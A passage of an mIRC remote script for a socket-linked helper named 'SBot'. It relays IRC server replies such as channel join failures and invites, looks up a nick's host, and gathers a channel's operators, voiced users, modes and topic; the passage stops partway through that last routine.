n460=raw 467:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n461=raw 471:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's full) }
n462=raw 472:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n463=raw 473:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (it's invite only) }
n464=raw 474:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (you're banned!) }
n465=raw 475:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (requires the correct key) }
n466=raw 477:*: if ( $sock(SBot-*) != $null ) { showinstat $2 can't join channel (need to be using a registered nick) } 
n467=raw 482:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n468=raw 501:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n469=raw 502:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n470=
n471=;------------------------------------------------ OTHER ---------------------------------------------
n472=#NickIP off
n473=raw 302:*: {
n474=if ( $sock(SBot-*) != $null ) {
n475=  if ( $gettok( $2 ,1,61) == %SBot.getnick ) { .sockwrite -n SBot-* NICKIP $gettok( $2 ,1,61) $gettok($2,2,64) 524 | unset %SBot.getnick | .disable #NickIP | halt } 
n476=}
n477=halt
n478=}
n479=#NickIP end
n480=
n481=raw 329:*: if ( $sock(SBot-*) != $null ) { showinstat $2 created on $asctime( $3 ) }
n482=raw 341:*: if ( $sock(SBot-*) != $null ) { showinstat $2 has been invited to $3 }
n483=raw 381:*: if ( $sock(SBot-*) != $null ) { showinstat $2- }
n484=
n485=alias chanstat {
n486=unset %SBot.i %SBot.ops %SBot.voice %SBot.reg
n487=%SBot.temp = $nick( $1 ,0)
n488=:start
n489=inc %SBot.i
n490=if ( %SBot.i <= %SBot.temp ) {
n491=  if ( $nick( $1 , %SBot.i ) isop $1 ) {
n492=    if ( %SBot.ops == $null ) { %SBot.ops = $nick( $1 , %SBot.i ) }
n493=    else {  %SBot.ops = %SBot.ops $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n494=  }
n495=  elseif ( $nick( $1 , %SBot.i ) isvo $1 ) {
n496=    if ( %SBot.voice == $null )  { %SBot.voice = $nick( $1 , %SBot.i ) }
n497=    else { %SBot.voice = %SBot.voice $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n498=  }
n499=  else {
n500=    if ( %SBot.reg == $null ) { %SBot.reg = $nick( $1 , %SBot.i ) }
n501=    else {  %SBot.reg = %SBot.reg $+ $chr(44) $+ $nick( $1 , %SBot.i ) }
n502=  }
n503=  goto start
n504=}
n505=%SBot.modes = $chan( $1 ).mode
n506=%SBot.topic = $chan( $1 ).topic
n507=if ( %SBot.ops == $null ) { %SBot.ops = $chr(149) }
n508=if ( %SBot.voice == $null ) { %SBot.voice = $chr(149) }
n509=if ( %SBot.reg == $null ) { %SBot.reg = $chr(149) }
n510=if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
n511=if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }